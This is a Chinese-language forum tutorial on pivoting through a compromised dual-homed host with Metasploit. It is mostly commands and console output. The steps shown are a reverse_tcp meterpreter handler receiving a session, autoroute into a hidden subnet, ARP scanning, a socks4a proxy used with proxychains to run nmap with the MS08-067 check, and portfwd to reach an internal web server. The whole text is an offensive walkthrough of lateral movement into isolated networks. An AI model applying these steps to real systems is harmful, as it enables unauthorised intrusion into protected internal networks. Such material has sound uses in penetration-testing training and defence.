taibeihacker
Moderator
0x01 meterpreter多级内网代理穿透
1.Pivoting
基本上可以概括為,在正常情況下僅僅只是通過利用被控制的計算機我們可能依舊無法進行網絡訪問。假設一台被控制的計算機連接有多個網絡,將其作為我們的跳板,那麼網絡隔離的手段對我們來說就形同虛設。跟著這個思路,攻擊者在被控制的跳板主機上執行路由操作,進而訪問隱藏的網絡。對新發現網絡發起的每個請求都會通過中間的雙網卡跳板傳輸,形象化一點說來就像是洞子一般。
就如上面所示的拓撲圖,設備有兩張網卡可訪問192.168.1.0/24以及192.168.10.0/24兩個網絡。在正常情況下,這兩個網絡之間是不能相互訪問的,除非有定義路由規則。根據該結構,授權用戶(使用兩張網卡的計算機)可訪問DMZ區內的一些服務。
2.第一层双网卡中转跳板及端口转发
根據我們的攻擊場景,先拿下命名為RD的主機然後獲取到的meterpreter shell,RD能連接到DMZ網絡。隨後,在信息收集過程中確定了目標有兩張網卡。注意:環境中的路由器在兩個網絡之間並沒有聯通。
msf use exploit/multi/handler
msf exploit(handler) set payload windows/meterpreter/reverse_tcp
payload=windows/meterpreter/reverse_tcp
msf exploit(handler) set LHOST 172.16.0.20
LHOST=172.16.0.20
msf exploit(handler) set LPORT 1234
LPORT=1234
msf exploit(handler) run
[*] Started reverse TCP handler on 172.16.0.20:1234
[*] Starting the payload handler.
[*] Sending stage (957487 bytes) to 172.16.0.11
[*] Meterpreter session 2 opened (172.16.0.20:1234 - 172.16.0.11:49162)
meterpreter ifconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address :1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:e1:3f:af
MTU : 1500
IPv4 Address : 172.16.0.11
IPv4 Netmask : 255.255.255.0
Interface 19
============
Name : Intel(R) PRO/1000 MT Desktop Adapter #2
Hardware MAC : 08:00:27:7f:3c:fe
MTU : 1500
IPv4 Address : 7.7.7.11
IPv4 Netmask : 255.255.255.0
在我們設計的這個場景中,獲得RD系統訪問權限的攻擊者將會使用第二張網卡(7.7.7.0/24)訪問網絡。在執行這項操作之前,攻擊者必須先在RD中定義路由規則。
在Metasploit中可以輕鬆完成這項任務,在當前meterpreter會話下鍵入以下命令可創建路由規則:
meterpreterrun autoroute -s 7.7.7.0/24
[*] Adding a route to 7.7.7.0/255.255.255.0.
[+] Added route to 7.7.7.0/255.255.255.0 via 172.16.0.11
[*] Use the -p option to list all active routes
meterpreter run autoroute -p
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
7.7.7.0255.255.255.0 Session 2
meterpreter
根據定義的路由規則,只要meterpreter ID值為2的會話在運行,那麼在Metasploit框架中就可以訪問7.7.7.0/24網絡。這一步驟之後,使用類似arp_scanner的端口模塊就能檢測到JC系統的IP地址。 JC為7.7.7.20內網中的另一台計算機。
meterpreter run
post/windows/gather/arp_scanner RHOSTS=7.7.7.0/24
[*] Running module against DISCORDIA
[*] ARP Scanning 7.7.7.0/24
[*]IP: 7.7.7.11 MAC 08:00:27:7f:3c:fe (CADMUS COMPUTER SYSTEMS)
[*]IP 7.7.7.12 MAC 08:00:27:3a:b2:c1 (CADMUSCIMPUTER SYSTEMS)
[*]IP: 7.7.7.20 MAC 08:00:27:fa:a0:c5 (CADMUS COMPUTER SYSTEMS)
[*]IP: 7.7.7.255 MAC 08:00:27:3f:2a:b5 (CADMUS COMPUTER SYSTEMS)
meterpreter
在7.7.7.0/24網絡中存活系統的IP地址,包括命名為JC的系統主機,都已經檢測到了。

自然而然的,我們想到了以下問題:諸如arp_scanner的端口模塊對這類掃描工作可能存在著不足之處,那麼nmap風格的掃描工具是否能登場呢?
3.中转跳板Nmap扫描
對此必須在Metasploit中激活路由配置,並且該配置必須能夠通過socks4代理進行轉發。這裡有一個metasploit模塊剛好滿足以上需求。使用metasploit的socks4代理模塊:
meterpreter background
[*] Backgrounding session 2.
msfuseauxiliary/server/socks4a
msf auxiliary(socks4a) show options
Module options
(auxiliary/server/socks4a):
Name Current Setting RequiredDescription
---- --------------- -------------------
SRVHOST 0.0.0.0yes The address tolistenon
SRVPORT 1080 yes The port tolistenon.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) set srvhost 172.16.0.20
srvhost=172.16.0.20
msf auxiliary(socks4a) run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) netstat
-antp |grep1080
[*]exec: netstat -antp
|grep1080
tcp 0172.16.0.20:1080 0.0.0.0:* LISTEN 3626/ruby
msf auxiliary(socks4a)
ProxyChains是為GNU\Linux操作系統而開發的工具,任何TCP連接都可以通過TOR或者SOCKS4,
SOCKS5, HTTP/HTTPS路由到目的地。在這個通道技術中可以使用多個代理服務器。除此之外提供匿名方式,諸如用於中轉跳板的應用程序也可以用於對發現的新網絡進行直接通信。

用文本編輯器打開/etc/proxychains.conf,在文件的最後一行添加新創建的socks4代理服務器
---snippet---[ProxyList]
#addproxyhere.
#meanwile#defaultssetto'tor'
#socks4 127.0.0.1 9050
socks4172.16.0.20 1080
使用proxychains執行nmap掃描任務非常簡單,網絡數據包將會通過定義的代理髮送到目的地。
root@kali:~# proxychains nmap -sT -sV -Pn -n
-p22,80,135,139,445 --script=smb-vuln-ms08-067.nse 7.7.7.20
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.25BETA1 ( https://nmap.org )
|S-chain|--172.16.0.20:1080--7.7.7.20:445--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:80--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:135--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:22--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:139--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:22--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:135--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:139--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:445--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:139--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:135--OK
|S-chain|--172.16.0.20:1080--7.7.7.20:445--OK
Nmap scan report for 7.7.7.20
Host is up (0.17s latency).
PORTSTATE SERVICE VERSION
22/tcpopen ssh Bitvise WinSSHD 7.16 (FlowSsh 7.15; protocol 2.0)
80/tcpclosed http Easy File Sharing Web Server httpd 6.9
135/tcpopen msrpc Microsoft Windows RPC
139/tcpopen netbios-ssn Microsoft Windows netbios-ssn
445/tcpopen microsoft-ds Microsoft
Windows 2003 or 2008 microsoft-ds
Service Info: OS: Windows; CPE:
cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003
Host script results:
| smb-vuln-ms08-067:
|VULNERABLE:
|Microsoft Windows system vulnerable to remote code execution (MS08-067)
|State: VULNERABLE
|IDs: CVE:CVE-2008-4250
| The Server service in Microsoft
Windows 2000 SP4, XP SP2 and
SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows
remote attackers to execute arbitrary
| code via a crafted RPC request that
triggers the overflow during path canonicalization.
|
|Disclosure date: 2008-10-23
|References:
|https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
Service detection performed. Please
report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 12.51 seconds
root@kali:~#
根據掃描的結果,目標系統中運行著SSH以及HTTP服務。在進一步利用之前,我們還將涉及另一種被稱之為端口轉發的通信路由(traffic
routing)技術。
4.端口转发
端口轉發是實現中轉跳板的基本步驟,目前還無法直接訪問到隱藏網絡中的服務,這是因為沒有建立雙向路由。我們知道如何到達目標系統,所以可以發起請求。但這個請求會失敗,這是因為目標系統不知道如何到達我們這邊。
基於這個原因,我們可以通過定義meterpreter會話在我們的本地開啟一個端口,將本地數據包發送到目的地。只要進程存活,路由就會一直工作。
再此須謹記,run autoroute命令建立的路由僅在Metasploit框架下有效,我們也可以嘗試使用kali工具實現目的,這裡我們就要藉助類似端口轉發的工具或是proxychains。
使用portfwd模塊(Metasploit中的一個post模塊)可完成端口轉發
meterpreter portfwd -h
Usage: portfwd [-h] [add |delete| list | flush]
[args]
OPTIONS:
-L opt Forward:localhost tolistenon (optional).
Remote:localhost toconnectto.
-R Indicates areverseport forward.
-h Help banner.
-i opt Index of the port
forward entry to interact with (see the 'list' command).
-l opt Forward:localport tolistenon. Reverse:localport toconnectto.
-p opt Forward: remote
port toconnectto. Reverse:
remote port tolistenon.
-r opt Forward: remote
host toconnectto.
meterpreter
當我們在瀏覽器中向本地2323端口發送一個鏈接請求時,該連接請求將會轉發到IP地址為7.7.7.20的計算機的80端口。得益於ProxyChains和Nmap,早先我們就已經確定了web服務運行在7.7.7.20的80端口。為了訪問這個服務,本地系統的2323端口將被轉發到7.7.7.20的80端口
meterpreterportfwdadd-L172.16.0.20-l2323-p80-r7.7.7.20
[*]LocalTCPrelaycreated: 172.16.0.20:2323-7.7.7.20:80
meterpreter
通過portfwd list命令可以查看當前活躍的端口轉發規則:
meterpreterportfwd list
Active Port Forwards
====================
Index Local Remote Direction
----- ----- ------ ---------
1 172.16.0.20:2323 7.7.7.20:80Forward
1 total active port forwards.
meterpreter
檢測到IP地址為7.7.7.20目標系統的80端口上運行著名為Eash File Sharing Web Server的應用